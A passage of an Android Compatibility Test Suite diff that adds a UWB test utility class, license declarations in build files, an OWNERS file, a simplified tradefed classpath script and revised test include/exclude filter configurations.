+import android.uwb.AngleMeasurement;
+import android.uwb.AngleOfArrivalMeasurement;
+import android.uwb.DistanceMeasurement;
+import android.uwb.RangingMeasurement;
+import android.uwb.RangingReport;
+import android.uwb.UwbAddress;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.Executor;
+
+public class UwbTestUtils {
+    private UwbTestUtils() {}
+
+    public static boolean isUwbSupported(Context context) {
+        PackageManager packageManager = context.getPackageManager();
+        return packageManager.hasSystemFeature(PackageManager.FEATURE_UWB);
+    }
+
+    public static AngleMeasurement getAngleMeasurement() {
+        return new AngleMeasurement(
+                getDoubleInRange(-Math.PI, Math.PI),
+                getDoubleInRange(0, Math.PI),
+                getDoubleInRange(0, 1));
+    }
+
+    public static AngleOfArrivalMeasurement getAngleOfArrivalMeasurement() {
+        return new AngleOfArrivalMeasurement.Builder(getAngleMeasurement())
+                .setAltitude(getAngleMeasurement())
+                .build();
+    }
+
+    public static DistanceMeasurement getDistanceMeasurement() {
+        return new DistanceMeasurement.Builder()
+                .setMeters(getDoubleInRange(0, 100))
+                .setErrorMeters(getDoubleInRange(0, 10))
+                .setConfidenceLevel(getDoubleInRange(0, 1))
+                .build();
+    }
+
+    public static RangingMeasurement getRangingMeasurement() {
+        return getRangingMeasurement(getUwbAddress(false));
+    }
+
+    public static RangingMeasurement getRangingMeasurement(UwbAddress address) {
+        return new RangingMeasurement.Builder()
+                .setDistanceMeasurement(getDistanceMeasurement())
+                .setAngleOfArrivalMeasurement(getAngleOfArrivalMeasurement())
+                .setElapsedRealtimeNanos(SystemClock.elapsedRealtimeNanos())
+                .setRemoteDeviceAddress(address != null ? address : getUwbAddress(false))
+                .setStatus(RangingMeasurement.RANGING_STATUS_SUCCESS)
+                .build();
+    }
+
+    public static List<RangingMeasurement> getRangingMeasurements(int num) {
+        List<RangingMeasurement> result = new ArrayList<>();
+        for (int i = 0; i < num; i++) {
+            result.add(getRangingMeasurement());
+        }
+        return result;
+    }
+
+    public static RangingReport getRangingReports(int numMeasurements) {
+        RangingReport.Builder builder = new RangingReport.Builder();
+        for (int i = 0; i < numMeasurements; i++) {
+            builder.addMeasurement(getRangingMeasurement());
+        }
+        return builder.build();
+    }
+
+    private static double getDoubleInRange(double min, double max) {
+        return min + (max - min) * Math.random();
+    }
+
+    public static UwbAddress getUwbAddress(boolean isShortAddress) {
+        byte[] addressBytes = new byte[isShortAddress ? UwbAddress.SHORT_ADDRESS_BYTE_LENGTH :
+                UwbAddress.EXTENDED_ADDRESS_BYTE_LENGTH];
+        for (int i = 0; i < addressBytes.length; i++) {
+            addressBytes[i] = (byte) getDoubleInRange(1, 255);
+        }
+        return UwbAddress.fromBytes(addressBytes);
+    }
+
+    public static Executor getExecutor() {
+        return new Executor() {
+            @Override
+            public void execute(Runnable command) {
+                command.run();
+            }
+        };
+    }
+}
diff --git a/tests/video/Android.bp b/tests/video/Android.bp
index 2741e64a..e3f5133b 100644
--- a/tests/video/Android.bp
+++ b/tests/video/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsVideoTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/video/src/android/video/cts/VideoEncoderDecoderTest.java b/tests/video/src/android/video/cts/VideoEncoderDecoderTest.java
index b52d80d..3b00a93 100644
--- a/tests/video/src/android/video/cts/VideoEncoderDecoderTest.java
+++ b/tests/video/src/android/video/cts/VideoEncoderDecoderTest.java
@@ -1078,8 +1078,8 @@
                 srcOffsetV += mBufferWidth / 2;
             }
         }
-        // submit till end of stride
-        int size = /* buffer.position(); */ mVideoStride * (mVideoVStride + mVideoHeight / 2);
+        // submit till end of the data
+        int size = buffer.position();
         long ptsUsec = computePresentationTime(frameCount);
 
         codec.queueInputBuffer(index, 0 /* offset */, size, ptsUsec /* timeUs */, flags);
diff --git a/tests/vr/Android.bp b/tests/vr/Android.bp
index 69c9cd2..c396922 100644
--- a/tests/vr/Android.bp
+++ b/tests/vr/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsVrTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/vr/jni/Android.bp b/tests/vr/jni/Android.bp
index 1bdc092..d7f77fe 100644
--- a/tests/vr/jni/Android.bp
+++ b/tests/vr/jni/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_library_shared {
     name: "libctsvrextensions_jni",
     cflags: [
diff --git a/tools/cfassembler/Android.bp b/tools/cfassembler/Android.bp
index a5431d1..c9ab62b 100644
--- a/tools/cfassembler/Android.bp
+++ b/tools/cfassembler/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_binary_host {
   name: "cfassembler",
   srcs: [
diff --git a/tools/cts-api-coverage/Android.bp b/tools/cts-api-coverage/Android.bp
index 95395ed..b25afa1 100644
--- a/tools/cts-api-coverage/Android.bp
+++ b/tools/cts-api-coverage/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library_host {
     name: "api-coverage",
 
diff --git a/tools/cts-device-info/jni/Android.bp b/tools/cts-device-info/jni/Android.bp
index bbf7f5b..707a4d2 100644
--- a/tools/cts-device-info/jni/Android.bp
+++ b/tools/cts-device-info/jni/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_library_shared {
     name: "libctsdeviceinfo",
     srcs: [
diff --git a/tools/cts-dynamic-config/Android.mk b/tools/cts-dynamic-config/Android.mk
index 4cb0c96..fae519c 100644
--- a/tools/cts-dynamic-config/Android.mk
+++ b/tools/cts-dynamic-config/Android.mk
@@ -17,6 +17,8 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := cts-dynamic-config
+LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
+LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_MODULE_CLASS := FAKE
 LOCAL_IS_HOST_MODULE := true
 
diff --git a/tools/cts-holo-generation/Android.bp b/tools/cts-holo-generation/Android.bp
index 49c4a34..a67310b 100644
--- a/tools/cts-holo-generation/Android.bp
+++ b/tools/cts-holo-generation/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_app {
     name: "CtsHoloGeneration",
     dex_preopt: {
diff --git a/tools/cts-media-preparer-app/Android.bp b/tools/cts-media-preparer-app/Android.bp
index c073617..cbad568 100644
--- a/tools/cts-media-preparer-app/Android.bp
+++ b/tools/cts-media-preparer-app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsMediaPreparerApp",
     defaults: ["cts_defaults"],
diff --git a/tools/cts-preconditions/Android.bp b/tools/cts-preconditions/Android.bp
index 100cb69..d68585b 100644
--- a/tools/cts-preconditions/Android.bp
+++ b/tools/cts-preconditions/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsPreconditions",
 
diff --git a/tools/cts-tradefed/Android.bp b/tools/cts-tradefed/Android.bp
index 93c2062..bea7ed6 100644
--- a/tools/cts-tradefed/Android.bp
+++ b/tools/cts-tradefed/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library_host {
     name: "cts-tradefed-harness",
 
diff --git a/tools/cts-tradefed/OWNERS b/tools/cts-tradefed/OWNERS
new file mode 100644
index 0000000..3842024
--- /dev/null
+++ b/tools/cts-tradefed/OWNERS
@@ -0,0 +1,17 @@
+#  Android EngProd Approvers
+guangzhu@google.com
+fdeng@google.com
+moonk@google.com
+jdesprez@google.com
+
+# Android Partner Eng Approvers
+aaronholden@google.com
+yuji@google.com
+nickrose@google.com
+
+# File Specific Approvers
+per-file Backup* = file:platform/frameworks/base:/services/backup/OWNERS
+per-file cts-meerkat.xml = alanstokes@google.com, brufino@google.com, lus@google.com, rickywai@google.com
+per-file cts-on-csi*.xml = ycchen@google.com, hsinyichen@google.com, tyanh@google.com
+per-file csi-*.xml = ycchen@google.com, hsinyichen@google.com, tyanh@google.com
+
diff --git a/tools/cts-tradefed/etc/cts-tradefed b/tools/cts-tradefed/etc/cts-tradefed
index ed62d05..117f4cd 100755
--- a/tools/cts-tradefed/etc/cts-tradefed
+++ b/tools/cts-tradefed/etc/cts-tradefed
@@ -93,36 +93,12 @@
 fi;
 
 JAR_DIR=${CTS_ROOT}/android-cts/tools
-JARS="tradefed
-  tradefed-test-framework
-  loganalysis
-  compatibility-host-util
-  compatibility-host-util-tests
-  cts-tradefed
-  cts-tradefed-tests
-  compatibility-common-util-tests
-  compatibility-tradefed-tests"
 
-for JAR in $JARS; do
-    checkFile ${JAR_DIR}/${JAR}.jar
-    JAR_PATH=${JAR_PATH}:${JAR_DIR}/${JAR}.jar
+for JAR in ${JAR_DIR}/*.jar; do
+    JAR_PATH=${JAR_PATH}:${JAR}
 done
 JAR_PATH=${JAR_PATH:1} # Strip off leading ':'
 
-OPTIONAL_JARS="
-  google-tradefed
-  google-tradefed-tests
-  google-tf-prod-tests"
-
-STANDALONE_JAR_DIR=${ANDROID_HOST_OUT}/framework
-for JAR in $OPTIONAL_JARS; do
-    if [ -f "${JAR_DIR}/${JAR}.jar" ]; then
-        JAR_PATH=${JAR_PATH}:${JAR_DIR}/${JAR}.jar
-    elif [ -f "${STANDALONE_JAR_DIR}/${JAR}.jar" ]; then
-        JAR_PATH=${JAR_PATH}:${STANDALONE_JAR_DIR}/${JAR}.jar
-    fi;
-done
-
 # load any shared libraries for host-side executables
 LIB_DIR=${CTS_ROOT}/android-cts/lib
 if [ "$HOST" == "Linux" ]; then
diff --git a/tools/cts-tradefed/res/config/cts-automated.xml b/tools/cts-tradefed/res/config/cts-automated.xml
index 150f8b9..80bcea7 100644
--- a/tools/cts-tradefed/res/config/cts-automated.xml
+++ b/tools/cts-tradefed/res/config/cts-automated.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Runs CTS with common options set for an automated run on userdebug/eng builds">
 
+    <!-- template hook to allow users to attach additional target preparers -->
+    <template-include name="preparers" default="empty" />
+
     <include name="cts" />
 
     <option name="plan" value="cts" />
diff --git a/tools/cts-tradefed/res/config/cts-exclude.xml b/tools/cts-tradefed/res/config/cts-exclude.xml
index f6899a4..b338399 100644
--- a/tools/cts-tradefed/res/config/cts-exclude.xml
+++ b/tools/cts-tradefed/res/config/cts-exclude.xml
@@ -30,4 +30,8 @@
          instead). -->
     <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:exclude-annotation:com.android.compatibility.common.util.CtsDownstreamingTest" />
     <option name="compatibility:test-arg" value="com.android.compatibility.common.tradefed.testtype.JarHostTest:exclude-annotation:com.android.compatibility.common.util.CtsDownstreamingTest" />
+
+    <!-- Exclude @SecurityTest tests from CTS. These are tested in STS. b/180417031-->
+    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:exclude-annotation:android.platform.test.annotations.SecurityTest" />
+    <option name="compatibility:test-arg" value="com.android.compatibility.common.tradefed.testtype.JarHostTest:exclude-annotation:android.platform.test.annotations.SecurityTest" />
 </configuration>
diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml
index de90e52..ad28ed9 100644
--- a/tools/cts-tradefed/res/config/cts-known-failures.xml
+++ b/tools/cts-tradefed/res/config/cts-known-failures.xml
@@ -219,4 +219,7 @@
 
     <!-- b/135533962 -->
     <option name="compatibility:exclude-filter" value="arm64-v8a CtsWrapWrapDebugMallocDebugTestCases" />
+
+    <!-- b/175319005 -->
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.ManagedProfileTest#testAppLinks_verificationStatus" />
 </configuration>
diff --git a/tools/cts-tradefed/res/config/cts-meerkat.xml b/tools/cts-tradefed/res/config/cts-meerkat.xml
index 99ac0ee..6bc6b30 100644
--- a/tools/cts-tradefed/res/config/cts-meerkat.xml
+++ b/tools/cts-tradefed/res/config/cts-meerkat.xml
@@ -22,6 +22,15 @@
     <!-- Disable instant tests -->
     <option name="compatibility:enable-parameterized-modules" value="false" />
 
+    <!-- Status bar, trampolines & close system dialogs -->
+    <option name="compatibility:include-filter" value="CtsAppTestCases android.app.cts.StatusBarManagerTest#testCollapsePanels_withoutStatusBarPermission_throws"/>
+    <option name="compatibility:include-filter" value="CtsAppTestCases android.app.cts.StatusBarManagerTest#testCollapsePanels_withStatusBarPermission_doesNotThrow"/>
+    <option name="compatibility:include-filter" value="CtsAppTestCases android.app.cts.NotificationManagerTest#testActivityStartOnBroadcastTrampoline_isBlocked"/>
+    <option name="compatibility:include-filter" value="CtsAppTestCases android.app.cts.NotificationManagerTest#testActivityStartOnServiceTrampoline_isBlocked"/>
+    <option name="compatibility:include-filter" value="CtsAppTestCases android.app.cts.NotificationManagerTest#testActivityStartOnBroadcastTrampoline_whenApi30_isAllowed"/>
+    <option name="compatibility:include-filter" value="CtsAppTestCases android.app.cts.NotificationManagerTest#testActivityStartOnServiceTrampoline_whenApi30_isAllowed"/>
+    <option name="compatibility:include-filter" value="CtsAppTestCases android.app.cts.CloseSystemDialogsTest"/>
+
     <!-- Overlays & touches -->
     <option name="compatibility:include-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.WindowInputTests"/>
     <option name="compatibility:include-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.WindowUntrustedTouchTest"/>
@@ -29,6 +38,7 @@
 
     <!-- System Alert Window (SAW) -->
     <option name="compatibility:include-filter" value="CtsSystemIntentTestCases"/>
+    <option name="compatibility:include-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.HideOverlayWindowsTest"/>
     <option name="compatibility:include-filter" value="CtsMediaTestCases android.media.cts.MediaProjectionTest"/>
 
     <!-- Toasts -->
@@ -43,7 +53,7 @@
 
     <!-- Icon hiding -->
     <option name="compatibility:include-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.LimitAppIconHidingTest"/>
-    <option name="compatibility:include-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.DeviceOwnerTest"/>
+    <option name="compatibility:include-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.DeviceOwnerTest#testNoHiddenActivityFoundTest"/>
     <option name="compatibility:include-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.LauncherAppsProfileTest"/>
 
     <!-- App ops -->
@@ -52,7 +62,7 @@
     <option name="compatibility:include-filter" value="CtsAccessibilityServiceTestCases android.accessibilityservice.cts.AccessibilityLoggingTest"/>
     <option name="compatibility:include-filter" value="CtsPackageInstallTestCases android.packageinstaller.install.cts.SessionTest"/>
     <option name="compatibility:include-filter" value="CtsPackageInstallTestCases android.packageinstaller.install.cts.ExternalSourcesTestAppOpAllowed"/>
-    <option name="compatibility:include-filter" value="CtsPackageUninstallTestCases"/>
+    <option name="compatibility:include-filter" value="CtsPackageUninstallTestCases android.packageinstaller.uninstall.cts.UninstallTest"/>
 
     <!-- Tests that we've added for b/72485440 and in ag/3789406 -->
     <option name="compatibility:include-filter" value="CtsContentTestCases android.content.cts.ContextTest"/>
@@ -60,7 +70,18 @@
     <option name="compatibility:include-filter" value="CtsContentTestCases android.content.cts.ContextWrapperTest"/>
 
     <!-- Tests that we've added for b/73451844 -->
-    <option name="compatibility:include-filter" value="CtsContentTestCases android.content.pm.cts.PackageManagerTest"/>
+    <option name="compatibility:include-filter" value="CtsContentTestCases android.content.pm.cts.PackageManagerTest#testCheckPermissionGranted"/>
+    <option name="compatibility:include-filter" value="CtsContentTestCases android.content.pm.cts.PackageManagerTest#testCheckPermissionNotGranted"/>
+    <option name="compatibility:include-filter" value="CtsContentTestCases android.content.pm.cts.PackageManagerTest#testGetInstalledPackages"/>
+    <option name="compatibility:include-filter" value="CtsContentTestCases android.content.pm.cts.PackageManagerTest#testGetInstalledPackages_OtherPackages"/>
+    <option name="compatibility:include-filter" value="CtsContentTestCases android.content.pm.cts.PackageManagerTest#testGetInstalledApplications"/>
+    <option name="compatibility:include-filter" value="CtsContentTestCases android.content.pm.cts.PackageManagerTest#testGetInstalledPackages_ApexSupported_MatchesApex"/>
+    <option name="compatibility:include-filter" value="CtsContentTestCases android.content.pm.cts.PackageManagerTest#testGetInstalledPackages_ApexSupported_DoesNotMatchApex"/>
+    <option name="compatibility:include-filter" value="CtsContentTestCases android.content.pm.cts.PackageManagerTest#testGetInstalledPackages_ApexNotSupported_MatchesApex"/>
+    <option name="compatibility:include-filter" value="CtsContentTestCases android.content.pm.cts.PackageManagerTest#testGetInstalledPackages_ApexNotSupported_DoesNotMatchApex"/>
+    <option name="compatibility:include-filter" value="CtsContentTestCases android.content.pm.cts.PackageManagerTest#testGetInstalledPackages_WithFactoryFlag_IsSubset"/>
+    <option name="compatibility:include-filter" value="CtsContentTestCases android.content.pm.cts.PackageManagerTest#testGetInstalledPackages_WithFactoryFlag_ImpliesSystem"/>
+    <option name="compatibility:include-filter" value="CtsContentTestCases android.content.pm.cts.PackageManagerTest#testGetInstalledPackages_WithFactoryFlag_ContainsNoDuplicates"/>
 
     <!-- Network watchlist tests -->
     <option name="compatibility:include-filter" value="CtsNetTestCases android.net.cts.NetworkWatchlistTest"/>
diff --git a/tools/cts-tradefed/res/config/cts-on-aosp-exclude.xml b/tools/cts-tradefed/res/config/cts-on-aosp-exclude.xml
new file mode 100644
index 0000000..a9d2ac5
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-on-aosp-exclude.xml
@@ -0,0 +1,313 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Excluded tests from cts-on-aosp">
+    <!-- Tell all AndroidJUnitTests to exclude certain annotations -->
+    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:exclude-annotation:android.platform.test.annotations.RestrictedBuildTest" />
+
+    <!-- Tell all HostTests to exclude certain annotations -->
+    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.HostTest:exclude-annotation:android.platform.test.annotations.RestrictedBuildTest" />
+    <option name="compatibility:test-arg" value="com.android.compatibility.common.tradefed.testtype.JarHostTest:exclude-annotation:android.platform.test.annotations.RestrictedBuildTest" />
+
+    <!-- Radio system of a general system image is not checked -->
+    <option name="compatibility:exclude-filter" value="CtsTelephonyTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsTelephony2TestCases" />
+    <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.SystemFeaturesTest#testLocationFeatures" />
+
+    <!-- Exclude telephony related testcases -->
+    <option name="compatibility:exclude-filter" value="CtsNetTestCasesLegacyApi22 android.net.cts.legacy.api22.ConnectivityManagerLegacyTest#testStartUsingNetworkFeature_enableHipri" />
+    <option name="compatibility:exclude-filter" value="CtsPermission2TestCases android.permission2.cts.NoReceiveSmsPermissionTest#testAppSpecificSmsToken" />
+    <option name="compatibility:exclude-filter" value="CtsPermission2TestCases android.permission2.cts.NoReceiveSmsPermissionTest#testReceiveTextMessage" />
+    <option name="compatibility:exclude-filter" value="CtsSecurityHostTestCases android.security.cts.SELinuxHostTest#testNoExemptionsForBinderInVendorBan" />
+    <option name="compatibility:exclude-filter" value="CtsSecurityHostTestCases android.security.cts.SELinuxHostTest#testNoExemptionsForSocketsBetweenCoreAndVendorBan" />
+    <option name="compatibility:exclude-filter" value="CtsSecurityHostTestCases android.security.cts.SELinuxHostTest#testNoExemptionsForVendorExecutingCore" />
+    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testAppDetails" />
+    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testAppSummary" />
+    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testCallback" />
+    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testDeviceSummary" />
+    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testTagDetails" />
+    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testUidDetails" />
+    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testUserSummary" />
+
+    <!-- Exclude not applicable testcases-->
+    <option name="compatibility:exclude-filter" value="CtsSignatureTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsOsTestCases android.os.cts.AutoRevokeTeandroid.os.cts.AutoRevokeTestst" />
+
+    <!--
+        Exclude testcases failing on Pixel devices
+        TODO(jaeshin@): b/68300743
+    -->
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testVoiceCommand" />
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testVoiceSearchHandsFree" />
+
+    <!-- Excluded tese case - TODO(jiyong): b/67739526 to reenable that -->
+    <option name="compatibility:exclude-filter" value="CtsJniTestCases android.jni.cts.JniStaticTest#test_linker_namespaces" />
+
+    <!-- b/68190722: Remove testcases that require RRO which is planned for Pi -->
+    <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActionBarTest#testOpenOptionsMenu" />
+    <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActionBarTest#testOptionsMenuKey" />
+    <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActivityKeyboardShortcutsTest#testRequestShowKeyboardShortcuts" />
+
+    <!-- b/161837932: Fix MediaPlayerTests that use "too small" resolution -->
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.MediaPlayerTest#testOnSubtitleDataListener" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.MediaPlayerTest#testChangeSubtitleTrack" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.MediaPlayerTest#testDeselectTrackForSubtitleTracks" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.MediaPlayerTest#testGetTrackInfoForVideoWithSubtitleTracks" />
+
+    <!-- b/74583365: CtsAppSecurityHostTestCases flaky -->
+    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.AdoptableHostTest#testApps " />
+    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.AdoptableHostTest#testEjected" />
+    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.AdoptableHostTest#testPackageInstaller" />
+    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.AdoptableHostTest#testPrimaryStorage" />
+
+    <!-- b/152359655: ResumeOnReboot can't work on GSI -->
+    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.ResumeOnRebootHostTest" />
+
+    <!-- b/77175538: CtsViewTestCases failure flaky -->
+    <option name="compatibility:exclude-filter" value="CtsViewTestCases android.view.cts.PixelCopyTest#testWindowProducerCopyToRGBA16F" />
+
+    <!-- b/73727333: CtsSystemUiTestCases failure flaky -->
+    <option name="compatibility:exclude-filter" value="CtsSystemUiTestCases android.systemui.cts.LightBarTests#testLightNavigationBar" />
+    <option name="compatibility:exclude-filter" value="CtsSystemUiTestCases android.systemui.cts.LightBarThemeTest#testNavigationBarDivider" />
+
+    <!-- b/80388296: CtsDevicePolicyManagerTestCases failure flaky -->
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedManagedProfileOwnerTest#testDisallowAutofill_allowed" />
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedManagedProfileOwnerTest#testPackageInstallUserRestrictions" />
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedManagedProfileOwnerTest#testPermissionAppUpdate" />
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedManagedProfileOwnerTest#testPermissionGrant" />
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedManagedProfileOwnerTest#testPermissionMixedPolicies" />
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedManagedProfileOwnerTest#testPermissionPolicy" />
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedManagedProfileOwnerTest#testSuspendPackage" />
+
+    <!-- b/80407835: CtsServicesHostTestCases failure flaky -->
+    <option name="compatibility:exclude-filter" value="CtsServicesHostTestCases android.server.cts.KeyguardTests#testDialogShowWhenLockedActivity" />
+    <option name="compatibility:exclude-filter" value="CtsServicesHostTestCases android.server.cts.KeyguardTests#testTranslucentShowWhenLockedActivity" />
+
+    <!-- b/80284482: Flaky tests -->
+    <option name="compatibility:exclude-filter" value="CtsAlarmManagerTestCases android.alarmmanager.cts.AppStandbyTests#testAllowWhileIdleAlarms" />
+    <option name="compatibility:exclude-filter" value="CtsAlarmManagerTestCases android.alarmmanager.cts.AppStandbyTests#testBucketUpgradeToNoDelay" />
+    <option name="compatibility:exclude-filter" value="CtsAlarmManagerTestCases android.alarmmanager.cts.AppStandbyTests#testBucketUpgradeToSmallerDelay" />
+    <option name="compatibility:exclude-filter" value="CtsAlarmManagerTestCases android.alarmmanager.cts.AppStandbyTests#testFrequentDelay" />
+    <option name="compatibility:exclude-filter" value="CtsAlarmManagerTestCases android.alarmmanager.cts.AppStandbyTests#testRareDelay" />
+    <option name="compatibility:exclude-filter" value="CtsAlarmManagerTestCases android.alarmmanager.cts.AppStandbyTests#testWorkingSetDelay" />
+
+    <!-- b/110260628: A confirmed GSI incompatibility (waiver) -->
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.DeviceOwnerTest#testCreateAndManageUser_DontSkipSetupWizard" />
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.DeviceOwnerTest#testSecurityLoggingWithSingleUser" />
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedDeviceOwnerTest#testKeyManagement" />
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedProfileOwnerTest#testKeyManagement" />
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedManagedProfileOwnerTest#testKeyManagement" />
+
+    <!-- b/110405497: Flaky tests (waiver) -->
+    <option name="compatibility:exclude-filter" value="CtsKeystoreTestCases android.keystore.cts.KeyAttestationTest#testDeviceIdAttestation" />
+
+    <!-- b/141113818: Allows unlock for CTS-on-GSI -->
+    <option name="compatibility:exclude-filter" value="CtsKeystoreTestCases android.keystore.cts.KeyAttestationTest#testEcAttestation_DeviceLocked" />
+    <option name="compatibility:exclude-filter" value="CtsKeystoreTestCases android.keystore.cts.KeyAttestationTest#testRsaAttestation_DeviceLocked" />
+
+    <!-- b/110385515: Flaky due to a particular SIM card requirement (excluded) -->
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.ConnectivityManagerTest#testOpenConnection" />
+    <option name="compatibility:exclude-filter" value="CtsWifiTestCases android.net.wifi.rtt.cts.WifiRttTest#testRangingToTestAp" />
+
+    <!-- b/110417203: Flaky tests -->
+    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testUidTagStateDetails" />
+
+    <!-- b/111101428: CtsOsTestCases irrelevant test cases -->
+    <option name="compatibility:exclude-filter" value="CtsOsTestCases android.os.cts.BuildTest#testIsSecureUserBuild" />
+    <option name="compatibility:exclude-filter" value="CtsOsTestCases android.os.cts.BuildVersionTest#testBuildFingerprint" />
+
+    <!-- b/110405126: CtsPermissionTestCases flaky (due to SIM card setting) -->
+    <option name="compatibility:exclude-filter" value="CtsPermissionTestCases android.permission.cts.TelephonyManagerPermissionTest#testGetDeviceId" />
+    <option name="compatibility:exclude-filter" value="CtsPermissionTestCases android.permission.cts.TelephonyManagerPermissionTest#testGetImei" />
